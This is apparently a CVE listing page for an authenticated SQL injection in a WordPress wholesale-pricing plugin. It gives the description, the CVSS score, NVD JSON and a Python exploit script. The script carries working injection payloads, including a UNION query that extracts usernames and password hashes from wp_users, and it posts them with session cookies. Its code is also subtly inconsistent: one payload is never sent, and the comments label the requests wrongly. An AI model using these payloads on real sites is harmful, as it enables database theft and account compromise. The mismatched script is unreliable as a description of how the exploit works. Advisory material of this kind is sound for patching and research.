Security Vulnerability Report
中文
CVE-2025-12411 CVSS 7.1 HIGH

CVE-2025-12411

Published: 2025-11-18 09:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Premmerce Wholesale Pricing for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'ID' parameter in versions up to, and including, 1.1.10. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber level access and above, to manipulate SQL queries that can be used to extract sensitive information from the database and modify price type display names in the database via the admin-post.php "premmerce_update_price_type" action, causing cosmetic corruption of the admin interface. The 'price_type' parameter of the "premmerce_delete_price_type" is also vulnerable.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Premmerce Wholesale Pricing for WooCommerce <= 1.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urlencode # CVE-2025-12411 SQL Injection PoC # Target: Premmerce Wholesale Pricing for WooCommerce <= 1.1.10 # Attack Vector: ID parameter in premmerce_update_price_type action target_url = "http://target-site.com/wp-admin/admin-post.php" # Authentication: Attacker needs subscriber-level WordPress account # Replace with valid WordPress session cookies cookies = { 'wordpress_test_cookie': 'WP Cookie check', 'wordpress_logged_in_user': 'attacker_user_id', 'wordpress_sec': 'attacker_session_token' } # SQL Injection Payloads # Boolean-based blind injection to extract database version payload_id = "1 AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='8') THEN SLEEP(5) ELSE 0 END)" # UNION-based injection to extract users table payload_union = "1 UNION SELECT 1,2,3,4,5,user_login,user_pass,8,9,10 FROM wp_users LIMIT 0,1--" # Data exfiltration via premmerce_update_price_type data_update = { 'action': 'premmerce_update_price_type', 'ID': payload_union, 'price_type_name': 'Malicious Price Type', 'price_type_slug': 'malicious-slug' } # Data exfiltration via premmerce_delete_price_type data_delete = { 'action': 'premmerce_delete_price_type', 'price_type': "normal' OR '1'='1", '_wpnonce': '' # May not be required if plugin doesn't implement nonce check } print("[*] CVE-2025-12411 SQL Injection Test") print(f"[*] Target: {target_url}") # Test blind injection print("[*] Testing boolean-based blind injection...") response = requests.post(target_url, data=data_update, cookies=cookies) # Test UNION injection print("[*] Testing UNION-based injection...") response = requests.post(target_url, data=data_delete, cookies=cookies) print("[*] Request sent. Check response or database for results.") print("[*] Note: This PoC requires valid WordPress authentication with subscriber+ role")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12411", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:48.510", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Premmerce Wholesale Pricing for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'ID' parameter in versions up to, and including, 1.1.10. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber level access and above, to manipulate SQL queries that can be used to extract sensitive information from the database and modify price type display names in the database via the admin-post.php \"premmerce_update_price_type\" action, causing cosmetic corruption of the admin interface. The 'price_type' parameter of the \"premmerce_delete_price_type\" is also vulnerable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/premmerce-woocommerce-wholesale-pricing/tags/1.1.10/src/Admin/Admin.php#L83", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/premmerce-woocommerce-wholesale-pricing/tags/1.1.10/src/Models/Model.php#L171", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3465244/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1e4e27e0-bbb0-498a-b425-9e9d60dfed0f?source=cve", "source": "[email protected]"}]}}